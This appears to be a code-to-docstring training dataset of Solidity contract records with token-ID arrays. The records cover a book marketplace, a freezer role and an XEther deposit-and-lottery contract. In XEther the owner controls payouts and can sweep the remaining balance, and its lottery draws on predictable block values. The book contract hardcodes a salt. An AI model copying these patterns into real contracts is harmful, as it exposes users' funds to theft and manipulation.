function getAvailableBooks(uint _maxPrice, uint _minPrice, uint8 _count, uint _start) userExists(msg.sender) view external returns (bytes32[] memory){
require(_count <= 50, "cannot fetch more than 50 books at once");
// get already purchased books for removal
bytes32[] memory myPurchasedBooks = getUserPurchasedBooks(msg.sender);
bytes32[] memory newBooksPool = new bytes32[](_count);
Book memory book;
bytes32[] memory responseBooksHashes = new bytes32[](_count);
do{
// get books from pool of all books specifying expected count and starting bookID
newBooksPool = listBooks(_start, _count);
for(uint i = 0; i < newBooksPool.length; i++){
for(uint j = 0; j < myPurchasedBooks.length; j++){
book = booksArr[booksHashes[newBooksPool[i]] - 1];
// remove from fetch pool unapproved or already purchased book
if(!book.isApproved || newBooksPool[i] == myPurchasedBooks[j]){
newBooksPool[i] = bytes32(0x0);
break;
}
}
if(responseBooksHashes.length > _count){
break;
}
// if book hash is not already deleted, add to response
if(newBooksPool[i] != bytes32(0x0)){
responseBooksHashes[i] = newBooksPool[i];
}
}
}while(responseBooksHashes.length < _count);
return responseBooksHashes;
}
/**
* @dev User requests for books paid for
*/
function getMyPurchasedBooks() userExists(msg.sender) view public returns(bytes32[] memory _boughtBooks){
_boughtBooks = boughtBooks[msg.sender];
}
/**
* @dev Requst books paid for by specified user
* @param userAddress address of user
*/
function getUserPurchasedBooks(address userAddress) userExists(userAddress) view public returns(bytes32[] memory _boughtBooks){
_boughtBooks = boughtBooks[userAddress];
}
/**
* @dev Get some books incrementally (with range) from the large pool of books on blockchain
* @param _start Book Id to start from
* @param _count Number of books to fetch
*/
function listBooks(uint _start, uint _count) userExists(msg.sender) view private returns(bytes32[] memory _booksHashes) {
uint maxIters = _count;
if( (_start + _count) > booksArr.length) {
maxIters = booksArr.length - _start;
}
_booksHashes = new bytes32[](maxIters);
for(uint i=0; i < maxIters; i++) {
uint bookId = _start + i;
_booksHashes[i] = booksArr[bookId].bookHash;
}
}
/**
* @dev Generate/Validate Access key for user-specific access
* @param userAddr Address of user owning key
* @param IPFShash Book IPFS reference for which token is generated
* @return accessToken User token assigned for book access
*/
function generateAccessToken(address userAddr, bytes32 IPFShash) private
pure returns(bytes32) { //isAdmin(msg.sender)
bytes32 salt = "S}7#%*SD30o7D";
bytes32 accessToken = keccak256(abi.encodePacked(userAddr, IPFShash, salt));
return accessToken;
}
} | * @dev Checks if reader sends sufficient funds to purchase book @param price The book's selling price/ | modifier sufficientFunds(uint price){
require(price <= msg.value, "insufficient funds");
_;
}
| 12,985,260 | [
1,
4081,
309,
2949,
9573,
18662,
284,
19156,
358,
23701,
6978,
225,
6205,
1021,
6978,
1807,
357,
2456,
6205,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
18662,
42,
19156,
12,
11890,
6205,
15329,
203,
3639,
2583,
12,
8694,
1648,
1234,
18,
1132,
16,
315,
2679,
11339,
284,
19156,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.2;
import "openzeppelin-solidity/contracts/access/Roles.sol";
import "./AdminRole.sol";
/**
* @author ITMF Ltd.
* @title FreezerRole - Access for who can freeze/unfreeze accounts
*/
contract FreezerRole is AdminRole {
using Roles for Roles.Role;
event FreezerAdded(address indexed account);
event FreezerRemoved(address indexed account);
Roles.Role private _freezers;
constructor () internal {
_addFreezer(msg.sender);
}
/**
* @dev Modifier to only allow action to be performed by a freezer
*/
modifier onlyFreezer() {
require(isFreezer(msg.sender));
_;
}
/**
* @param account The account to check for freezer role
* @return true if account has freezer role
*/
function isFreezer(address account) public view returns (bool) {
return _freezers.has(account);
}
/**
* @dev Public function for adding a freezer
* @param account The account to be added as freezer
*/
function addFreezer(address account) public onlyAdmin {
_addFreezer(account);
}
/**
* @dev Renounce freezer role. Message sender will no longer be freezer
*/
function renounceFreezer() public {
_removeFreezer(msg.sender);
}
/**
* @dev Admin only function to strip someone of the freezer role
* @param account The account to remove from freezer role
*/
function removeFreezer(address account) public onlyAdmin {
_removeFreezer(account);
}
/**
* @dev Internal function to implement adding a freezer
* @param account The account to be added as a freezer
*/
function _addFreezer(address account) internal {
_freezers.add(account);
emit FreezerAdded(account);
}
/**
* @dev Internal function to implement removing/renouncing freezer role
* @param account The account to be removed as a freezer
*/
function _removeFreezer(address account) internal {
_freezers.remove(account);
emit FreezerRemoved(account);
}
}
| * @dev Renounce freezer role. Message sender will no longer be freezer/ | function renounceFreezer() public {
_removeFreezer(msg.sender);
}
| 14,057,305 | [
1,
16290,
8386,
4843,
24355,
2478,
18,
2350,
5793,
903,
1158,
7144,
506,
4843,
24355,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1654,
8386,
9194,
24355,
1435,
1071,
288,
203,
3639,
389,
4479,
9194,
24355,
12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.24;
contract Owned {
address public aOwner;
address public coOwner1;
address public coOwner2;
constructor() public {
aOwner = msg.sender;
coOwner1 = msg.sender;
coOwner2 = msg.sender;
}
/* Modifiers */
modifier onlyOwner {
require(msg.sender == aOwner || msg.sender == coOwner1 || msg.sender == coOwner2);
_;
}
function setCoOwner1(address _coOwner) public onlyOwner {
coOwner1 = _coOwner;
}
function setCoOwner2(address _coOwner) public onlyOwner {
coOwner2 = _coOwner;
}
}
contract XEther is Owned {
/* Structurs and variables */
uint256 public totalInvestmentAmount = 0;
uint256 public ownerFeePercent = 50; // 5%
uint256 public investorsFeePercent = 130; // 13%
uint256 public curIteration = 1;
uint256 public depositsCount = 0;
uint256 public investorsCount = 1;
uint256 public bankAmount = 0;
uint256 public feeAmount = 0;
uint256 public toGwei = 1000000000; // or 1e9, helper vars
uint256 public minDepositAmount = 20000000; // minimum deposit
uint256 public minLotteryAmount = 100000000; // minimum to participate in lottery
uint256 public minInvestmentAmount = 5 ether; // min for investment
bool public isWipeAllowed = true; // wipe only if bank almost became empty
uint256 public investorsCountLimit = 7; // maximum investors
uint256 public lastTransaction = now;
// Stage variables
uint256 private stageStartTime = now;
uint private currentStage = 1;
uint private stageTime = 86400; // time of stage in minutes
uint private stageMin = 0;
uint private stageMax = 72;
// lottery
uint256 public jackpotBalance = 0;
uint256 public jackpotPercent = 20; // 2%
uint256 _seed;
// Deposits mapping
mapping(uint256 => address) public depContractidToAddress;
mapping(uint256 => uint256) public depContractidToAmount;
mapping(uint256 => bool) public depContractidToLottery;
// Investors mapping
mapping(uint256 => address) public investorsAddress;
mapping(uint256 => uint256) public investorsInvested;
mapping(uint256 => uint256) public investorsComissionPercent;
mapping(uint256 => uint256) public investorsEarned;
/* Events */
event EvDebug (
uint amount
);
/* New income transaction*/
event EvNewDeposit (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address sender,
uint256 amount,
uint256 multiplier,
uint256 time
);
/* New investment added */
event EvNewInvestment (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address sender,
uint256 amount,
uint256[] investorsFee
);
/* Collect investors earned, when some one get payment */
event EvInvestorsComission (
uint256 iteration,
uint256[] investorsComission
);
/* Bank amount increased */
event EvUpdateBankAmount (
uint256 iteration,
uint256 deposited,
uint256 balance
);
/* Payout for deposit */
event EvDepositPayout (
uint256 iteration,
uint256 bankAmount,
uint256 index,
address receiver,
uint256 amount,
uint256 fee,
uint256 jackpotBalance
);
/* newIteration */
event EvNewIteration (
uint256 iteration
);
/* No more funds in the bank, need actions (e.g. new iteration) */
event EvBankBecomeEmpty (
uint256 iteration,
uint256 index,
address receiver,
uint256 payoutAmount,
uint256 bankAmount
);
/* Investor get payment */
event EvInvestorPayout (
uint256 iteration,
uint256 bankAmount,
uint256 index,
uint256 amount,
bool status
);
/* Investors get payment */
event EvInvestorsPayout (
uint256 iteration,
uint256 bankAmount,
uint256[] payouts,
bool[] statuses
);
/* New stage - time of withdraw is tapered */
event EvStageChanged (
uint256 iteration,
uint timeDiff,
uint stage
);
/* Lottery numbers */
event EvLotteryWin (
uint256 iteration,
uint256 contractId,
address winer,
uint256 amount
);
/* Check address with code*/
event EvConfimAddress (
address sender,
bytes16 code
);
/* Lottery numbers */
event EvLotteryNumbers (
uint256 iteration,
uint256 index,
uint256[] lotteryNumbers
);
/* Manually update Jackpot amount */
event EvUpdateJackpot (
uint256 iteration,
uint256 amount,
uint256 balance
);
/*---------- constructor ------------*/
constructor() public {
investorsAddress[0] = aOwner;
investorsInvested[0] = 0;
investorsComissionPercent[0] = 0;
investorsEarned[0] = 0;
}
/*--------------- public methods -----------------*/
function() public payable {
require(msg.value > 0 && msg.sender != address(0));
uint256 amount = msg.value / toGwei; // convert to gwei
if (amount >= minDepositAmount) {
lastTransaction = block.timestamp;
newDeposit(msg.sender, amount);
}
else {
bankAmount += amount;
}
}
function newIteration() public onlyOwner {
require(isWipeAllowed);
payoutInvestors();
investorsInvested[0] = 0;
investorsCount = 1;
totalInvestmentAmount = 0;
bankAmount = 0;
feeAmount = 0;
depositsCount = 0;
// Stage vars update
currentStage = 1;
stageStartTime = now;
stageMin = 0;
stageMax = 72;
curIteration += 1;
emit EvNewIteration(curIteration);
uint256 realBalance = address(this).balance - (jackpotBalance * toGwei);
if (realBalance > 0) {
aOwner.transfer(realBalance);
}
}
function updateBankAmount() public onlyOwner payable {
require(msg.value > 0 && msg.sender != address(0));
uint256 amount = msg.value / toGwei;
isWipeAllowed = false;
bankAmount += amount;
totalInvestmentAmount += amount;
emit EvUpdateBankAmount(curIteration, amount, bankAmount);
recalcInvestorsFee(msg.sender, amount);
}
function newInvestment() public payable {
require(msg.value >= minInvestmentAmount && msg.sender != address(0));
address sender = msg.sender;
uint256 investmentAmount = msg.value / toGwei; // convert to gwei
addInvestment(sender, investmentAmount);
}
/* Payout */
function depositPayout(uint depositIndex, uint pAmount) public onlyOwner returns(bool) {
require(depositIndex < depositsCount && depositIndex >= 0 && depContractidToAmount[depositIndex] > 0);
require(pAmount <= 5);
uint256 payoutAmount = depContractidToAmount[depositIndex];
payoutAmount += (payoutAmount * pAmount) / 100;
if (payoutAmount > bankAmount) {
isWipeAllowed = true;
// event payment not enaught bank amount
emit EvBankBecomeEmpty(curIteration, depositIndex, depContractidToAddress[depositIndex], payoutAmount, bankAmount);
return false;
}
uint256 ownerComission = (payoutAmount * ownerFeePercent) / 1000;
investorsEarned[0] += ownerComission;
uint256 addToJackpot = (payoutAmount * jackpotPercent) / 1000;
jackpotBalance += addToJackpot;
uint256 investorsComission = (payoutAmount * investorsFeePercent) / 1000;
uint256 payoutComission = ownerComission + addToJackpot + investorsComission;
uint256 paymentAmount = payoutAmount - payoutComission;
bankAmount -= payoutAmount;
feeAmount += ownerComission + investorsComission;
emit EvDepositPayout(curIteration, bankAmount, depositIndex, depContractidToAddress[depositIndex], paymentAmount, payoutComission, jackpotBalance);
updateInvestorsComission(investorsComission);
depContractidToAmount[depositIndex] = 0;
paymentAmount *= toGwei; // get back to wei
depContractidToAddress[depositIndex].transfer(paymentAmount);
if (depContractidToLottery[depositIndex]) {
lottery(depContractidToAddress[depositIndex], depositIndex);
}
return true;
}
/* Payout to investors */
function payoutInvestors() public {
uint256 paymentAmount = 0;
bool isSuccess = false;
uint256[] memory payouts = new uint256[](investorsCount);
bool[] memory statuses = new bool[](investorsCount);
uint256 mFeeAmount = feeAmount;
uint256 iteration = curIteration;
for (uint256 i = 0; i < investorsCount; i++) {
uint256 iEarned = investorsEarned[i];
if (iEarned == 0) {
continue;
}
paymentAmount = iEarned * toGwei; // get back to wei
mFeeAmount -= iEarned;
investorsEarned[i] = 0;
isSuccess = investorsAddress[i].send(paymentAmount);
payouts[i] = iEarned;
statuses[i] = isSuccess;
}
emit EvInvestorsPayout(iteration, bankAmount, payouts, statuses);
feeAmount = mFeeAmount;
}
/* Payout to investor */
function payoutInvestor(uint256 investorId) public {
require (investorId < investorsCount && investorsEarned[investorId] > 0);
uint256 paymentAmount = investorsEarned[investorId] * toGwei; // get back to wei
feeAmount -= investorsEarned[investorId];
investorsEarned[investorId] = 0;
bool isSuccess = investorsAddress[investorId].send(paymentAmount);
emit EvInvestorPayout(curIteration, bankAmount, investorId, paymentAmount, isSuccess);
}
/* Helper function to check sender */
function confirmAddress(bytes16 code) public {
emit EvConfimAddress(msg.sender, code);
}
/* Show depositers and investors info */
function depositInfo(uint256 contractId) view public returns(address _address, uint256 _amount, bool _participateInLottery) {
return (depContractidToAddress[contractId], depContractidToAmount[contractId] * toGwei, depContractidToLottery[contractId]);
}
/* Show investors info by id */
function investorInfo(uint256 contractId) view public returns(
address _address, uint256 _invested, uint256 _comissionPercent, uint256 earned
)
{
return (investorsAddress[contractId], investorsInvested[contractId] * toGwei,
investorsComissionPercent[contractId], investorsEarned[contractId] * toGwei);
}
function showBankAmount() view public returns(uint256 _bankAmount) {
return bankAmount * toGwei;
}
function showInvestorsComission() view public returns(uint256 _investorsComission) {
return feeAmount * toGwei;
}
function showJackpotBalance() view public returns(uint256 _jackpotBalance) {
return jackpotBalance * toGwei;
}
function showStats() view public returns(
uint256 _ownerFeePercent, uint256 _investorsFeePercent, uint256 _jackpotPercent,
uint256 _minDepositAmount, uint256 _minLotteryAmount,uint256 _minInvestmentAmount,
string info
)
{
return (ownerFeePercent, investorsFeePercent, jackpotPercent,
minDepositAmount * toGwei, minLotteryAmount * toGwei, minInvestmentAmount,
'To get real percentages divide them to 10');
}
/* Function to change variables */
function updateJackpotBalance() public onlyOwner payable {
require(msg.value > 0 && msg.sender != address(0));
jackpotBalance += msg.value / toGwei;
emit EvUpdateJackpot(curIteration, msg.value, jackpotBalance);
}
/* Allow withdraw jackpot only if there are no transactions more then month*/
function withdrawJackpotBalance(uint amount) public onlyOwner {
require(jackpotBalance >= amount / toGwei && msg.sender != address(0));
// withdraw jacpot if no one dont play more then month
require(now - lastTransaction > 4 weeks);
uint256 tmpJP = amount / toGwei;
jackpotBalance -= tmpJP;
// Lottery payment
aOwner.transfer(amount);
emit EvUpdateJackpot(curIteration, amount, jackpotBalance);
}
/*--------------- private methods -----------------*/
function newDeposit(address _address, uint depositAmount) private {
uint256 randMulti = random(100) + 200;
uint256 rndX = random(1480);
uint256 _time = getRandomTime(rndX);
// Check is depositer hit the bonus number. Else return old multiplier.
randMulti = checkForBonuses(rndX, randMulti);
uint256 contractid = depositsCount;
depContractidToAddress[contractid] = _address;
depContractidToAmount[contractid] = (depositAmount * randMulti) / 100;
depContractidToLottery[contractid] = depositAmount >= minLotteryAmount;
depositsCount++;
bankAmount += depositAmount;
emit EvNewDeposit(curIteration, bankAmount, contractid, _address, depositAmount, randMulti, _time);
}
function addInvestment(address sender, uint256 investmentAmount) private {
require( (totalInvestmentAmount < totalInvestmentAmount + investmentAmount) && (bankAmount < bankAmount + investmentAmount) );
totalInvestmentAmount += investmentAmount;
bankAmount += investmentAmount;
recalcInvestorsFee(sender, investmentAmount);
}
function recalcInvestorsFee(address sender, uint256 investmentAmount) private {
uint256 investorIndex = 0;
bool isNewInvestor = true;
uint256 investorFeePercent = 0;
uint256[] memory investorsFee = new uint256[](investorsCount+1);
for (uint256 i = 0; i < investorsCount; i++) {
if (investorsAddress[i] == sender) {
investorIndex = i;
isNewInvestor = false;
investorsInvested[i] += investmentAmount;
}
investorFeePercent = percent(investorsInvested[i], totalInvestmentAmount, 3);
investorsComissionPercent[i] = investorFeePercent;
investorsFee[i] = investorFeePercent;
}
if (isNewInvestor) {
if (investorsCount > investorsCountLimit) revert(); // Limit investors count
investorFeePercent = percent(investmentAmount, totalInvestmentAmount, 3);
investorIndex = investorsCount;
investorsAddress[investorIndex] = sender;
investorsInvested[investorIndex] = investmentAmount;
investorsComissionPercent[investorIndex] = investorFeePercent;
investorsEarned[investorIndex] = 0;
investorsFee[investorIndex] = investorFeePercent;
investorsCount++;
}
emit EvNewInvestment(curIteration, bankAmount, investorIndex, sender, investmentAmount, investorsFee);
}
function updateInvestorsComission(uint256 amount) private {
uint256 investorsTotalIncome = 0;
uint256[] memory investorsComission = new uint256[](investorsCount);
for (uint256 i = 1; i < investorsCount; i++) {
uint256 investorIncome = (amount * investorsComissionPercent[i]) / 1000;
investorsEarned[i] += investorIncome;
investorsComission[i] = investorsEarned[i];
investorsTotalIncome += investorIncome;
}
investorsEarned[0] += amount - investorsTotalIncome;
emit EvInvestorsComission(curIteration, investorsComission);
}
function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision+1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
function random(uint numMax) private returns (uint256 result) {
_seed = uint256(keccak256(abi.encodePacked(
_seed,
blockhash(block.number - 1),
block.coinbase,
block.difficulty
)));
return _seed % numMax;
}
function getRandomTime(uint num) private returns (uint256 result) {
uint rndHours = random(68) + 4;
result = 72 - (2 ** ((num + 240) / 60) + 240) % rndHours;
checkStageCondition();
result = numStageRecalc(result);
return (result < 4) ? 4 : result;
}
function checkForBonuses(uint256 number, uint256 multiplier) private pure returns (uint256 newMultiplier) {
if (number == 8) return 1000;
if (number == 12) return 900;
if (number == 25) return 800;
if (number == 37) return 700;
if (number == 42) return 600;
if (number == 51) return 500;
if (number == 63 || number == 65 || number == 67) {
return 400;
}
return multiplier;
}
/*
* Check for time of current stage, in case of timeDiff bigger then stage time
* new stage states set.
*/
function checkStageCondition() private {
uint timeDiff = now - stageStartTime;
if (timeDiff > stageTime && currentStage < 3) {
currentStage++;
stageMin += 10;
stageMax -= 10;
stageStartTime = now;
emit EvStageChanged(curIteration, timeDiff, currentStage);
}
}
/*
* Recalculate hours regarding current stage and counting chance of bonus.
*/
function numStageRecalc(uint256 curHours) private returns (uint256 result) {
uint chance = random(110) + 1;
if (currentStage > 1 && chance % 9 != 0) {
if (curHours > stageMax) return stageMax;
if (curHours < stageMin) return stageMin;
}
return curHours;
}
/*
* Lottery main function
*/
function lottery(address sender, uint256 index) private {
bool lotteryWin = false;
uint256[] memory lotteryNumbers = new uint256[](7);
(lotteryWin, lotteryNumbers) = randomizerLottery(blockhash(block.number - 1), sender);
emit EvLotteryNumbers(curIteration, index, lotteryNumbers);
if (lotteryWin) {
emit EvLotteryWin(curIteration, index, sender, jackpotBalance);
uint256 tmpJP = jackpotBalance * toGwei; // get back to wei
jackpotBalance = 0;
// Lottery payment
sender.transfer(tmpJP);
}
}
/*
* Lottery generator numbers by given hash.
*/
function randomizerLottery(bytes32 hash, address sender) private returns(bool, uint256[] memory) {
uint256[] memory lotteryNumbers = new uint256[](7);
bytes32 userHash = keccak256(abi.encodePacked(
hash,
sender,
random(999)
));
bool win = true;
for (uint i = 0; i < 7; i++) {
uint position = i + random(1);
bytes1 charAtPos = charAt(userHash, position);
uint8 firstNums = getLastN(charAtPos, 4);
uint firstNumInt = uint(firstNums);
if (firstNumInt > 9) {
firstNumInt = 16 - firstNumInt;
}
lotteryNumbers[i] = firstNumInt;
if (firstNums != 7) {
win = false;
}
}
return (win, lotteryNumbers);
}
function charAt(bytes32 b, uint char) private pure returns (bytes1) {
return bytes1(uint8(uint(b) / (2**((31 - char) * 8))));
}
function getLastN(bytes1 a, uint8 n) private pure returns (uint8) {
uint8 lastN = uint8(a) % uint8(2) ** n;
return lastN;
}
} | Function to change variables */ | function updateJackpotBalance() public onlyOwner payable {
require(msg.value > 0 && msg.sender != address(0));
jackpotBalance += msg.value / toGwei;
emit EvUpdateJackpot(curIteration, msg.value, jackpotBalance);
}
| 1,715,648 | [
1,
2083,
358,
2549,
3152,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
46,
484,
13130,
13937,
1435,
1071,
1338,
5541,
8843,
429,
288,
203,
3639,
2583,
12,
3576,
18,
1132,
405,
374,
597,
1234,
18,
15330,
480,
1758,
12,
20,
10019,
203,
3639,
525,
484,
13130,
13937,
1011,
1234,
18,
1132,
342,
358,
43,
1814,
77,
31,
203,
3639,
3626,
30964,
1891,
46,
484,
13130,
12,
1397,
10795,
16,
1234,
18,
1132,
16,
525,
484,
13130,
13937,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
